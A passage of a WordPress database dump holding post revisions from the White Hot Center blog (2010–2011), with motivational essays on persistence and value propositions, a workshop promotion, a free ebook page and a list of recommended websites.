present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-24', '', '', '2011-03-22 10:45:31', '2011-03-22 17:45:31', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-24/', 0, 'revision', '', 0);
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(1567, 2, '2011-03-22 10:50:07', '2011-03-22 17:50:07', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\n\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a>:\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\n<h3>Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\n\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\n\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\n\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\n\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-autosave', '', '', '2011-03-22 10:50:07', '2011-03-22 17:50:07', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-autosave/', 0, 'revision', '', 0),
(1583, 2, '2011-04-25 12:06:52', '2011-04-25 19:06:52', '<img class="alignnone size-full wp-image-1596" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed3.jpg" alt="" width="480" height="336" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Be relevant</strong>.\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Be different.</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Be credible.</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the <a href="http://www.linkedin.com/groups/White-Hot-Center-3872207?trk=myg_ugrp_ovr" target="_blank">White Hot Center Group on LinkedIn</a> and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development conversations.', 0, '', 'publish', 'open', 'open', '', 'the-seed-of-better-outcomes-in-your-business-development-conversations', '', '', '2011-04-25 12:06:52', '2011-04-25 19:06:52', '', 0, 'http://www.whitehotcenter.com/?p=1583', 0, 'post', '', 4),
(1569, 2, '2010-12-27 16:39:45', '2010-12-27 23:39:45', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="388" height="388" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Take the leap and learn more, visit the official registration site <a href="http://www.whcquantumleap.com" target="_blank">www.whcquantumleap.com </a></span></span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. </span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-12-27 16:39:45', '2010-12-27 23:39:45', '', 145, 'http://www.whitehotcenter.com/2010/12/27/145-revision-74/', 0, 'revision', '', 0),
(1576, 2, '2011-04-12 11:04:54', '2011-04-12 18:04:54', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank">"The WhiteHotCenter Guide to Building a Competition Proof Business."</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2011-04-12 11:04:54', '2011-04-12 18:04:54', '', 744, 'http://www.whitehotcenter.com/2011/04/12/744-revision-12/', 0, 'revision', '', 0),
(1575, 2, '2011-04-12 11:01:35', '2011-04-12 18:01:35', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a id="freereportlink" href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf" target="_blank"> </a><a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank">"The WhiteHotCenter Guide to Building a Competition Proof Business."</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2011-04-12 11:01:35', '2011-04-12 18:01:35', '', 744, 'http://www.whitehotcenter.com/2011/04/12/744-revision-11/', 0, 'revision', '', 0),
(1584, 2, '2011-04-25 11:06:51', '2011-04-25 18:06:51', '', 'The seed of better outcomes', 0, '', 'inherit', 'open', 'open', '', 'value-seed', '', '', '2011-04-25 11:06:51', '2011-04-25 18:06:51', '', 1583, 'http://www.whitehotcenter.com/wp-content/uploads/2011/04/value-seed.jpg', 0, 'attachment', 'image/jpeg', 0),
(1578, 2, '2011-04-12 11:11:02', '2011-04-12 18:11:02', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf"></a><a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf">Competition Proof Your Business EBook</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2011-04-12 11:11:02', '2011-04-12 18:11:02', '', 744, 'http://www.whitehotcenter.com/2011/04/12/744-revision-14/', 0, 'revision', '', 0),
(1579, 2, '2011-04-12 09:39:23', '2011-04-12 16:39:23', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2011-04-12 09:39:23', '2011-04-12 16:39:23', '', 145, 'http://www.whitehotcenter.com/2011/04/12/145-revision-76/', 0, 'revision', '', 0),
(1685, 2, '2011-06-30 14:37:23', '2011-06-30 21:37:23', '<span style="color: #808080;"> </span>\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a><span style="color: #333333;"><strong> </strong></span>\r\n\r\n<span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"> </span><span style="color: #808080;"> </span><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #808080;"><span style="color: #808080;"> </span><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://sallyhogshead.com/" target="_blank">www.sallyhogshead.com</a><a href="http://www.oddpodz.xom" target="_blank">\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2011-06-30 14:37:23', '2011-06-30 21:37:23', '', 145, 'http://www.whitehotcenter.com/145-revision-80/', 0, 'revision', '', 0),
(1580, 2, '2011-04-12 11:14:30', '2011-04-12 18:14:30', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2011-04-12 11:14:30', '2011-04-12 18:14:30', '', 145, 'http://www.whitehotcenter.com/2011/04/12/145-revision-77/', 0, 'revision', '', 0),
(1581, 2, '2011-04-12 11:17:02', '2011-04-12 18:17:02', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2011-04-12 11:17:02', '2011-04-12 18:17:02', '', 145, 'http://www.whitehotcenter.com/2011/04/12/145-revision-78/', 0, 'revision', '', 0),
(1582, 2, '2011-04-12 11:12:14', '2011-04-12 18:12:14', '<img class="alignnone size-full wp-image-733" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook.gif" alt="" width="412" height="467" />\r\n<h2>I''m delighted you have joined the conversation here on the White Hot Center, and to provide you with the free report. I''m confident you''ll find it to be inspiring and useful to you as you build a value monopoly for your clients and customers. Click the link below:</h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf"></a><a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf">Competition Proof Your Business EBook</a>\r\n\r\n<strong>After reading the report, if you would like to explore the idea of working one-on-one with me to help you integrate these ideas into your business as a daily practice, you can review my consulting packages under the consulting link above.\r\n</strong>\r\n\r\n<strong>to your inspired success,\r\nThomson Dawson</strong>', 'Download your FREE Report!', 0, '', 'inherit', 'open', 'open', '', '744-revision-v1', '', '', '2011-04-12 11:12:14', '2011-04-12 18:12:14', '', 744, 'http://www.whitehotcenter.com/2011/04/12/744-revision-15/', 0, 'revision', '', 0),
